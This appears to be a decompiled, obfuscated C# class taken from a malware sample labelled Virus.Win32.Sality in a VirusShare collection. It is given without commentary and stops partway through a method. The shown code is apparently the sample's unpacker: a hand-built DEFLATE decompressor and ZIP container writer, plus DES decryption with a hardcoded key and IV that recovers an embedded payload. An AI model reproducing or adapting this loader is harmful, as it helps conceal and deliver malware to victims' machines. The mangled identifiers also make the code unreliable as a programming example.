// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe

using \u0002;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace \u0002
{
  internal sealed class \u0006
  {
    public static string \u0001;

    public static byte[] \u0003([In] byte[] obj0)
    {
      byte[] numArray1;
      \u0006.\u000F obj1;
      int num1;
      short num2;
      int num3;
      int num4;
      int length1;
      int count1;
      int count2;
      byte[] buffer1;
      byte[] buffer2;
      byte[] buffer3;
      \u0006.\u0001 obj2;
      int num5;
      int length2;
      int num6;
      int length3;
      int num7;
      byte[] buffer4;
      \u0006.\u0001 obj3;
      DESCryptoServiceProvider cryptoServiceProvider;
      ICryptoTransform decryptor;
      byte[] numArray2;
      try
      {
        obj1 = new \u0006.\u000F(obj0);
        numArray1 = new byte[0];
        num1 = obj1.\u0004();
        if (num1 == 67324752)
        {
          num2 = (short) obj1.\u0003();
          num3 = obj1.\u0003();
          num4 = obj1.\u0003();
          if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8)
            throw new FormatException("Wrong Header Signature");
          obj1.\u0004();
          obj1.\u0004();
          obj1.\u0004();
          length1 = obj1.\u0004();
          count1 = obj1.\u0003();
          count2 = obj1.\u0003();
          if (count1 > 0)
          {
            buffer1 = new byte[count1];
            obj1.Read(buffer1, 0, count1);
          }
          if (count2 > 0)
          {
            buffer2 = new byte[count2];
            obj1.Read(buffer2, 0, count2);
          }
          buffer3 = new byte[obj1.Length - obj1.Position];
          obj1.Read(buffer3, 0, buffer3.Length);
          obj2 = new \u0006.\u0001(buffer3);
          numArray1 = new byte[length1];
          obj2.\u0003(numArray1, 0, numArray1.Length);
          buffer3 = (byte[]) null;
        }
        else
        {
          num5 = num1 >> 24;
          num1 -= num5 << 24;
          if (num1 != 8223355)
            throw new FormatException("Unknown Header");
          if (num5 == 1)
          {
            length2 = obj1.\u0004();
            numArray1 = new byte[length2];
            for (num6 = 0; num6 < length2; num6 += num7)
            {
              length3 = obj1.\u0004();
              num7 = obj1.\u0004();
              buffer4 = new byte[length3];
              obj1.Read(buffer4, 0, buffer4.Length);
              obj3 = new \u0006.\u0001(buffer4);
              obj3.\u0003(numArray1, num6, num7);
            }
          }
          if (num5 == 2)
          {
            cryptoServiceProvider = new DESCryptoServiceProvider();
            cryptoServiceProvider.Key = new byte[8]
            {
              (byte) 224,
              (byte) 51,
              (byte) 101,
              (byte) 186,
              (byte) 205,
              (byte) 13,
              (byte) 94,
              (byte) 179
            };
            cryptoServiceProvider.IV = new byte[8]
            {
              (byte) 248,
              (byte) 169,
              (byte) 177,
              (byte) 67,
              (byte) 239,
              (byte) 183,
              (byte) 152,
              (byte) 172
            };
            decryptor = cryptoServiceProvider.CreateDecryptor();
            numArray2 = decryptor.TransformFinalBlock(obj0, 4, obj0.Length - 4);
            cryptoServiceProvider.Clear();
            numArray1 = \u0006.\u0003(numArray2);
          }
        }
        obj1.Close();
        return numArray1;
      }
      catch (Exception ex)
      {
        object[] objArray = new object[24]
        {
          (object) obj1,
          (object) numArray1,
          (object) num1,
          (object) num2,
          (object) num3,
          (object) num4,
          (object) length1,
          (object) count1,
          (object) count2,
          (object) buffer1,
          (object) buffer2,
          (object) buffer3,
          (object) obj2,
          (object) num5,
          (object) length2,
          (object) num6,
          (object) length3,
          (object) num7,
          (object) obj3,
          (object) buffer4,
          (object) cryptoServiceProvider,
          (object) decryptor,
          (object) numArray2,
          (object) obj0
        };
        throw UnhandledException.\u0003(ex, objArray);
      }
    }

    public static byte[] \u0004([In] byte[] obj0)
    {
      try
      {
        return \u0006.\u0003(obj0, 1, (byte[]) null, (byte[]) null);
      }
      catch (Exception ex)
      {
        byte[] numArray = obj0;
        throw UnhandledException.\u0003(ex, (object) numArray);
      }
    }

    public static byte[] \u0003([In] byte[] obj0, [In] int obj1, [In] byte[] obj2, [In] byte[] obj3)
    {
      \u0006.\u0006 obj4;
      DateTime now;
      long num1;
      uint[] numArray1;
      uint maxValue;
      uint num2;
      int num3;
      int length;
      \u0006.\u000F obj5;
      long position1;
      byte[] bytes;
      byte[] buffer1;
      int count1;
      byte[] buffer2;
      int count2;
      long num4;
      int srcOffset;
      byte[] dst;
      long position2;
      \u0006.\u0006 obj6;
      byte[] buffer3;
      int count3;
      byte[] buffer4;
      int count4;
      long position3;
      byte[] inputBuffer;
      DESCryptoServiceProvider cryptoServiceProvider;
      ICryptoTransform encryptor;
      byte[] buffer5;
      try
      {
        byte[] numArray2;
        try
        {
          obj5 = new \u0006.\u000F();
          if (obj1 == 0)
          {
            obj4 = new \u0006.\u0006();
            now = DateTime.Now;
            num1 = (long) ((uint) ((now.Year - 1980 & (int) sbyte.MaxValue) << 25 | now.Month << 21 | now.Day << 16 | now.Hour << 11 | now.Minute << 5) | (uint) now.Second >> 1);
            numArray1 = new uint[256]
            {
              0U,
              1996959894U,
              3993919788U,
              2567524794U,
              124634137U,
              1886057615U,
              3915621685U,
              2657392035U,
              249268274U,
              2044508324U,
              3772115230U,
              2547177864U,
              162941995U,
              2125561021U,
              3887607047U,
              2428444049U,
              498536548U,
              1789927666U,
              4089016648U,
              2227061214U,
              450548861U,
              1843258603U,
              4107580753U,
              2211677639U,
              325883990U,
              1684777152U,
              4251122042U,
              2321926636U,
              335633487U,
              1661365465U,
              4195302755U,
              2366115317U,
              997073096U,
              1281953886U,
              3579855332U,
              2724688242U,
              1006888145U,
              1258607687U,
              3524101629U,
              2768942443U,
              901097722U,
              1119000684U,
              3686517206U,
              2898065728U,
              853044451U,
              1172266101U,
              3705015759U,
              2882616665U,
              651767980U,
              1373503546U,
              3369554304U,
              3218104598U,
              565507253U,
              1454621731U,
              3485111705U,
              3099436303U,
              671266974U,
              1594198024U,
              3322730930U,
              2970347812U,
              795835527U,
              1483230225U,
              3244367275U,
              3060149565U,
              1994146192U,
              31158534U,
              2563907772U,
              4023717930U,
              1907459465U,
              112637215U,
              2680153253U,
              3904427059U,
              2013776290U,
              251722036U,
              2517215374U,
              3775830040U,
              2137656763U,
              141376813U,
              2439277719U,
              3865271297U,
              1802195444U,
              476864866U,
              2238001368U,
              4066508878U,
              1812370925U,
              453092731U,
              2181625025U,
              4111451223U,
              1706088902U,
              314042704U,
              2344532202U,
              4240017532U,
              1658658271U,
              366619977U,
              2362670323U,
              4224994405U,
              1303535960U,
              984961486U,
              2747007092U,
              3569037538U,
              1256170817U,
              1037604311U,
              2765210733U,
              3554079995U,
              1131014506U,
              879679996U,
              2909243462U,
              3663771856U,
              1141124467U,
              855842277U,
              2852801631U,
              3708648649U,
              1342533948U,
              654459306U,
              3188396048U,
              3373015174U,
              1466479909U,
              544179635U,
              3110523913U,
              3462522015U,
              1591671054U,
              702138776U,
              2966460450U,
              3352799412U,
              1504918807U,
              783551873U,
              3082640443U,
              3233442989U,
              3988292384U,
              2596254646U,
              62317068U,
              1957810842U,
              3939845945U,
              2647816111U,
              81470997U,
              1943803523U,
              3814918930U,
              2489596804U,
              225274430U,
              2053790376U,
              3826175755U,
              2466906013U,
              167816743U,
              2097651377U,
              4027552580U,
              2265490386U,
              503444072U,
              1762050814U,
              4150417245U,
              2154129355U,
              426522225U,
              1852507879U,
              4275313526U,
              2312317920U,
              282753626U,
              1742555852U,
              4189708143U,
              2394877945U,
              397917763U,
              1622183637U,
              3604390888U,
              2714866558U,
              953729732U,
              1340076626U,
              3518719985U,
              2797360999U,
              1068828381U,
              1219638859U,
              3624741850U,
              2936675148U,
              906185462U,
              1090812512U,
              3747672003U,
              2825379669U,
              829329135U,
              1181335161U,
              3412177804U,
              3160834842U,
              628085408U,
              1382605366U,
              3423369109U,
              3138078467U,
              570562233U,
              1426400815U,
              3317316542U,
              2998733608U,
              733239954U,
              1555261956U,
              3268935591U,
              3050360625U,
              752459403U,
              1541320221U,
              2607071920U,
              3965973030U,
              1969922972U,
              40735498U,
              2617837225U,
              3943577151U,
              1913087877U,
              83908371U,
              2512341634U,
              3803740692U,
              2075208622U,
              213261112U,
              2463272603U,
              3855990285U,
              2094854071U,
              198958881U,
              2262029012U,
              4057260610U,
              1759359992U,
              534414190U,
              2176718541U,
              4139329115U,
              1873836001U,
              414664567U,
              2282248934U,
              4279200368U,
              1711684554U,
              285281116U,
              2405801727U,
              4167216745U,
              1634467795U,
              376229701U,
              2685067896U,
              3608007406U,
              1308918612U,
              956543938U,
              2808555105U,
              3495958263U,
              1231636301U,
              1047427035U,
              2932959818U,
              3654703836U,
              1088359270U,
              936918000U,
              2847714899U,
              3736837829U,
              1202900863U,
              817233897U,
              3183342108U,
              3401237130U,
              1404277552U,
              615818150U,
              3134207493U,
              3453421203U,
              1423857449U,
              601450431U,
              3009837614U,
              3294710456U,
              1567103746U,
              711928724U,
              3020668471U,
              3272380065U,
              1510334235U,
              755167117U
            };
            maxValue = uint.MaxValue;
            num2 = maxValue;
            num3 = 0;
            length = obj0.Length;
            while (--length >= 0)
              num2 = numArray1[(IntPtr) (uint) (((int) num2 ^ (int) obj0[num3++]) & (int) byte.MaxValue)] ^ num2 >> 8;
            num2 ^= maxValue;
            obj5.\u0004(67324752);
            obj5.\u0003(20);
            obj5.\u0003(0);
            obj5.\u0003(8);
            obj5.\u0004((int) num1);
            obj5.\u0004((int) num2);
            position1 = obj5.Position;
            obj5.\u0004(0);
            obj5.\u0004(obj0.Length);
            bytes = Encoding.UTF8.GetBytes("{data}");
            obj5.\u0003(bytes.Length);
            obj5.\u0003(0);
            obj5.Write(bytes, 0, bytes.Length);
            obj4.\u0003(obj0);
            while (!obj4.\u0004())
            {
              buffer1 = new byte[512];
              count1 = obj4.\u0003(buffer1);
              if (count1 > 0)
                obj5.Write(buffer1, 0, count1);
              else
                break;
            }
            obj4.\u0003();
            while (!obj4.\u0003())
            {
              buffer2 = new byte[512];
              count2 = obj4.\u0003(buffer2);
              if (count2 > 0)
                obj5.Write(buffer2, 0, count2);
              else
                break;
            }
            num4 = obj4.\u0003();
            obj5.\u0004(33639248);
            obj5.\u0003(20);
            obj5.\u0003(20);
            obj5.\u0003(0);
            obj5.\u0003(8);
            obj5.\u0004((int) num1);
            obj5.\u0004((int) num2);
            obj5.\u0004((int) num4);
            obj5.\u0004(obj0.Length);
            obj5.\u0003(bytes.Length);
            obj5.\u0003(0);
            obj5.\u0003(0);
            obj5.\u0003(0);
            obj5.\u0003(0);
            obj5.\u0004(0);
            obj5.\u0004(0);
            obj5.Write(bytes, 0, bytes.Length);
            obj5.\u0004(101010256);
            obj5.\u0003(0);
            obj5.\u0003(0);
            obj5.\u0003(1);
            obj5.\u0003(1);
            obj5.\u0004(46 + bytes.Length);
            obj5.\u0004((int) ((long) (30 + bytes.Length) + num4));
            obj5.\u0003(0);
            obj5.Seek(position1, SeekOrigin.Begin);
            obj5.\u0004((int) num4);
          }
          else
          {
            if (obj1 == 1)
            {
              obj5.\u0004(25000571);
              obj5.\u0004(obj0.Length);
              for (srcOffset = 0; srcOffset < obj0.Length; srcOffset += dst.Length)
              {
                dst = new byte[Math.Min(2097151, obj0.Length - srcOffset)];
                Buffer.BlockCopy((Array) obj0, srcOffset, (Array) dst, 0, dst.Length);
                position2 = obj5.Position;
                obj5.\u0004(0);
                obj5.\u0004(dst.Length);
                obj6 = new \u0006.\u0006();
                obj6.\u0003(dst);
                while (!obj6.\u0004())
                {
                  buffer3 = new byte[512];
                  count3 = obj6.\u0003(buffer3);
                  if (count3 > 0)
                    obj5.Write(buffer3, 0, count3);
                  else
                    break;
                }
                obj6.\u0003();
                while (!obj6.\u0003())
                {
                  buffer4 = new byte[512];
                  count4 = obj6.\u0003(buffer4);
                  if (count4 > 0)
                    obj5.Write(buffer4, 0, count4);
                  else
                    break;
                }
                position3 = obj5.Position;
                obj5.Position = position2;
                obj5.\u0004((int) obj6.\u0003());
                obj5.Position = position3;
              }
            }
            if (obj1 == 2)
            {
              obj5.\u0004(41777787);
              inputBuffer = \u0006.\u0003(obj0, 1, (byte[]) null, (byte[]) null);
              cryptoServiceProvider = new DESCryptoServiceProvider();
              cryptoServiceProvider.Key = obj2;
              cryptoServiceProvider.IV = obj3;
              encryptor = cryptoServiceProvider.CreateEncryptor();
              buffer5 = encryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
              obj5.Write(buffer5, 0, buffer5.Length);
              cryptoServiceProvider.Clear();
            }
          }
          obj5.Flush();
          obj5.Close();
          numArray2 = obj5.ToArray();
        }
        catch (Exception ex)
        {
          \u0006.\u0001 = "ERR 2003: " + ex.Message;
          numArray2 = (byte[]) null;
        }
        return numArray2;
      }
      catch (Exception ex)
      {
        byte[] numArray3;
        object[] objArray = new object[35]
        {
          (object) obj5,
          (object) obj4,
          (object) now,
          (object) num1,
          (object) numArray1,
          (object) maxValue,
          (object) num2,
          (object) num3,
          (object) length,
          (object) position1,
          (object) bytes,
          (object) buffer1,
          (object) count1,
          (object) buffer2,
          (object) count2,
          (object) num4,
          (object) srcOffset,
          (object) dst,
          (object) position2,
          (object) obj6,
          (object) buffer3,
          (object) count3,
          (object) buffer4,
          (object) count4,
          (object) position3,
          (object) inputBuffer,
          (object) cryptoServiceProvider,
          (object) encryptor,
          (object) buffer5,
          (object) ex,
          (object) numArray3,
          (object) obj0,
          (object) obj1,
          (object) obj2,
          (object) obj3
        };
        throw UnhandledException.\u0003(ex, objArray);
      }
    }

    internal sealed class \u0001
    {
      private static int[] \u0001;
      private static int[] \u0002;
      private static int[] \u0003;
      private static int[] \u0004;
      private int \u0001;
      private int \u0002;
      private int \u0003;
      private int \u0004;
      private int \u0005;
      private bool \u0001;
      private \u0006.\u0002 \u0001;
      private \u0006.\u0003 \u0001;
      private \u0006.\u0005 \u0001;
      private \u0006.\u0004 \u0001;
      private \u0006.\u0004 \u0002;

      public \u0001([In] byte[] obj0)
      {
        try
        {
          this.\u0001 = new \u0006.\u0002();
          this.\u0001 = new \u0006.\u0003();
          this.\u0001 = 2;
          this.\u0001.\u0003(obj0, 0, obj0.Length);
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          throw UnhandledException.\u0003(ex, (object) this, (object) numArray);
        }
      }

      private bool \u0003()
      {
        int num1;
        int index;
        int num2;
        int num3;
        int num4;
        try
        {
          num2 = this.\u0001.\u0003();
          while (num2 >= 258)
          {
            num1 = this.\u0001;
            switch (num1)
            {
              case 7:
                while (((index = this.\u0001.\u0003(this.\u0001)) & -256) == 0)
                {
                  this.\u0001.\u0003(index);
                  if (--num2 < 258)
                    return true;
                }
                if (index < 257)
                {
                  if (index < 0)
                    return false;
                  this.\u0002 = (\u0006.\u0004) null;
                  this.\u0001 = (\u0006.\u0004) null;
                  this.\u0001 = 2;
                  return true;
                }
                this.\u0003 = \u0006.\u0001.\u0001[index - 257];
                this.\u0002 = \u0006.\u0001.\u0002[index - 257];
                goto case 8;
              case 8:
                if (this.\u0002 > 0)
                {
                  this.\u0001 = 8;
                  num3 = this.\u0001.\u0003(this.\u0002);
                  if (num3 < 0)
                    return false;
                  this.\u0001.\u0003(this.\u0002);
                  this.\u0003 += num3;
                }
                this.\u0001 = 9;
                goto case 9;
              case 9:
                index = this.\u0002.\u0003(this.\u0001);
                if (index < 0)
                  return false;
                this.\u0004 = \u0006.\u0001.\u0003[index];
                this.\u0002 = \u0006.\u0001.\u0004[index];
                goto case 10;
              case 10:
                if (this.\u0002 > 0)
                {
                  this.\u0001 = 10;
                  num4 = this.\u0001.\u0003(this.\u0002);
                  if (num4 < 0)
                    return false;
                  this.\u0001.\u0003(this.\u0002);
                  this.\u0004 += num4;
                }
                this.\u0001.\u0003(this.\u0003, this.\u0004);
                num2 -= this.\u0003;
                this.\u0001 = 7;
                continue;
              default:
                continue;
            }
          }
          return true;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) index;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num1;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this);
        }
      }

      private bool \u0004()
      {
        int num1;
        int num2;
        int num3;
        int num4;
        int num5;
        int num6;
        try
        {
          num6 = this.\u0001;
          switch (num6)
          {
            case 2:
              if (this.\u0001)
              {
                this.\u0001 = 12;
                return false;
              }
              num1 = this.\u0001.\u0003(3);
              if (num1 < 0)
                return false;
              this.\u0001.\u0003(3);
              if ((num1 & 1) != 0)
                this.\u0001 = true;
              num2 = num1 >> 1;
              switch (num2)
              {
                case 0:
                  this.\u0001.\u0003();
                  this.\u0001 = 3;
                  break;
                case 1:
                  this.\u0001 = \u0006.\u0004.\u0001;
                  this.\u0002 = \u0006.\u0004.\u0002;
                  this.\u0001 = 7;
                  break;
                case 2:
                  this.\u0001 = new \u0006.\u0005();
                  this.\u0001 = 6;
                  break;
              }
              return true;
            case 3:
              this.\u0005 = num3 = this.\u0001.\u0003(16);
              if (num3 < 0)
                return false;
              this.\u0001.\u0003(16);
              this.\u0001 = 4;
              goto case 4;
            case 4:
              num4 = this.\u0001.\u0003(16);
              if (num4 < 0)
                return false;
              this.\u0001.\u0003(16);
              this.\u0001 = 5;
              goto case 5;
            case 5:
              num5 = this.\u0001.\u0003(this.\u0001, this.\u0005);
              this.\u0005 -= num5;
              if (this.\u0005 != 0)
                return !this.\u0001.\u0003();
              this.\u0001 = 2;
              return true;
            case 6:
              if (!this.\u0001.\u0003(this.\u0001))
                return false;
              this.\u0001 = this.\u0001.\u0003();
              this.\u0002 = this.\u0001.\u0004();
              this.\u0001 = 7;
              goto case 7;
            case 7:
            case 8:
            case 9:
            case 10:
              return this.\u0003();
            case 12:
              return false;
            default:
              return false;
          }
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num5;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num6;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local6 = (ValueType) num3;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this);
        }
      }

      public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        int num1;
        int num2;
        try
        {
          num2 = 0;
          do
          {
            if (this.\u0001 != 11)
              goto label_5;
label_2:
            continue;
label_5:
            num1 = this.\u0001.\u0003(obj0, obj1, obj2);
            obj1 += num1;
            num2 += num1;
            obj2 -= num1;
            if (obj2 != 0)
              goto label_2;
            else
              goto label_1;
          }
          while (this.\u0004() || this.\u0001.\u0004() > 0 && this.\u0001 != 11);
          goto label_3;
label_1:
          return num2;
label_3:
          return num2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj2;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) numArray, (object) local3, (object) local4);
        }
      }

      static \u0001()
      {
        try
        {
          \u0006.\u0001.\u0001 = new int[29]
          {
            3,
            4,
            5,
            6,
            7,
            8,
            9,
            10,
            11,
            13,
            15,
            17,
            19,
            23,
            27,
            31,
            35,
            43,
            51,
            59,
            67,
            83,
            99,
            115,
            131,
            163,
            195,
            227,
            258
          };
          \u0006.\u0001.\u0002 = new int[29]
          {
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            1,
            1,
            1,
            1,
            2,
            2,
            2,
            2,
            3,
            3,
            3,
            3,
            4,
            4,
            4,
            4,
            5,
            5,
            5,
            5,
            0
          };
          \u0006.\u0001.\u0003 = new int[30]
          {
            1,
            2,
            3,
            4,
            5,
            7,
            9,
            13,
            17,
            25,
            33,
            49,
            65,
            97,
            129,
            193,
            257,
            385,
            513,
            769,
            1025,
            1537,
            2049,
            3073,
            4097,
            6145,
            8193,
            12289,
            16385,
            24577
          };
          \u0006.\u0001.\u0004 = new int[30]
          {
            0,
            0,
            0,
            0,
            1,
            1,
            2,
            2,
            3,
            3,
            4,
            4,
            5,
            5,
            6,
            6,
            7,
            7,
            8,
            8,
            9,
            9,
            10,
            10,
            11,
            11,
            12,
            12,
            13,
            13
          };
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex);
        }
      }
    }

    internal sealed class \u0002
    {
      private byte[] \u0001;
      private int \u0001;
      private int \u0002;
      private uint \u0001;
      private int \u0003;

      public int \u0003([In] int obj0)
      {
        int num1;
        int num2;
        try
        {
          if (this.\u0003 < obj0)
            goto label_4;
label_3:
          return (int) ((long) this.\u0001 & (long) ((1 << obj0) - 1));
label_4:
          if (this.\u0001 == this.\u0002)
            return -1;
          \u0006.\u0002 obj = this;
          int num3 = (int) obj.\u0001;
          byte[] numArray1 = this.\u0001;
          num1 = this.\u0001++;
          int index1 = num1;
          int num4 = (int) numArray1[index1] & (int) byte.MaxValue;
          byte[] numArray2 = this.\u0001;
          num2 = this.\u0001++;
          int index2 = num2;
          int num5 = ((int) numArray2[index2] & (int) byte.MaxValue) << 8;
          int num6 = (num4 | num5) << this.\u0003;
          obj.\u0001 = (uint) (num3 | num6);
          this.\u0003 += 16;
          goto label_3;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3);
        }
      }

      public void \u0003([In] int obj0)
      {
        try
        {
          this.\u0001 >>= obj0;
          this.\u0003 -= obj0;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) this, (object) local);
        }
      }

      [SpecialName]
      public int \u0003()
      {
        try
        {
          return this.\u0003;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      [SpecialName]
      public int \u0004()
      {
        try
        {
          return this.\u0002 - this.\u0001 + (this.\u0003 >> 3);
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public void \u0003()
      {
        try
        {
          this.\u0001 >>= this.\u0003 & 7;
          this.\u0003 &= -8;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      [SpecialName]
      public bool \u0003()
      {
        try
        {
          return this.\u0001 == this.\u0002;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        int num1;
        int num2;
        int num3;
        try
        {
          num1 = 0;
          while (this.\u0003 > 0 && obj2 > 0)
          {
            obj0[obj1++] = (byte) this.\u0001;
            this.\u0001 >>= 8;
            this.\u0003 -= 8;
            --obj2;
            ++num1;
          }
          if (obj2 == 0)
            return num1;
          num2 = this.\u0002 - this.\u0001;
          if (obj2 > num2)
            obj2 = num2;
          Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2);
          this.\u0001 += obj2;
          if ((this.\u0001 - this.\u0002 & 1) != 0)
          {
            byte[] numArray = this.\u0001;
            num3 = this.\u0001++;
            int index = num3;
            this.\u0001 = (uint) numArray[index] & (uint) byte.MaxValue;
            this.\u0003 = 8;
          }
          return num1 + obj2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num3;
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) obj2;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) numArray, (object) local4, (object) local5);
        }
      }

      public \u0002()
      {
        try
        {
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        int num;
        try
        {
          if (this.\u0001 < this.\u0002)
            throw new InvalidOperationException();
          num = obj1 + obj2;
          if (0 > obj1 || obj1 > num || num > obj0.Length)
            throw new ArgumentOutOfRangeException();
          if ((obj2 & 1) != 0)
          {
            this.\u0001 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0003);
            this.\u0003 += 8;
          }
          this.\u0001 = obj0;
          this.\u0001 = obj1;
          this.\u0002 = num;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num;
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj2;
          throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) numArray, (object) local2, (object) local3);
        }
      }
    }

    internal sealed class \u0003
    {
      private static int \u0001;
      private static int \u0002;
      private byte[] \u0001 = new byte[\u0006.\u0003.\u0001];
      private int \u0003;
      private int \u0004;

      public void \u0003([In] int obj0)
      {
        int num1;
        int num2;
        try
        {
          \u0006.\u0003 obj = this;
          int num3;
          num2 = num3 = obj.\u0004;
          obj.\u0004 = num3 + 1;
          if (num2 == \u0006.\u0003.\u0001)
            throw new InvalidOperationException();
          byte[] numArray = this.\u0001;
          num1 = this.\u0003++;
          int index = num1;
          int num4 = (int) (byte) obj0;
          numArray[index] = (byte) num4;
          this.\u0003 &= \u0006.\u0003.\u0002;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3);
        }
      }

      private void \u0003([In] int obj0, [In] int obj1, [In] int obj2)
      {
        int num1;
        try
        {
          while (obj1-- > 0)
          {
            byte[] numArray = this.\u0001;
            \u0006.\u0003 obj = this;
            int num2;
            num1 = num2 = obj.\u0003;
            obj.\u0003 = num2 + 1;
            int index = num1;
            int num3 = (int) this.\u0001[obj0++];
            numArray[index] = (byte) num3;
            this.\u0003 &= \u0006.\u0003.\u0002;
            obj0 &= \u0006.\u0003.\u0002;
          }
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj2;
          throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2, (object) local3, (object) local4);
        }
      }

      public void \u0003([In] int obj0, [In] int obj1)
      {
        int num1;
        int sourceIndex;
        int num2;
        int num3;
        try
        {
          num1 = (this.\u0004 += obj0);
          if (num1 > \u0006.\u0003.\u0001)
            throw new InvalidOperationException();
          sourceIndex = this.\u0003 - obj1 & \u0006.\u0003.\u0002;
          num2 = \u0006.\u0003.\u0001 - obj0;
          if (sourceIndex <= num2 && this.\u0003 < num2)
          {
            if (obj0 <= obj1)
            {
              Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0003, obj0);
              this.\u0003 += obj0;
            }
            else
            {
              while (obj0-- > 0)
              {
                byte[] numArray = this.\u0001;
                num3 = this.\u0003++;
                int index = num3;
                int num4 = (int) this.\u0001[sourceIndex++];
                numArray[index] = (byte) num4;
              }
            }
          }
          else
            this.\u0003(sourceIndex, obj0, obj1);
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) sourceIndex;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local6 = (ValueType) obj1;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) this, (object) local5, (object) local6);
        }
      }

      public int \u0003([In] \u0006.\u0002 obj0, [In] int obj1)
      {
        int num1;
        int num2;
        try
        {
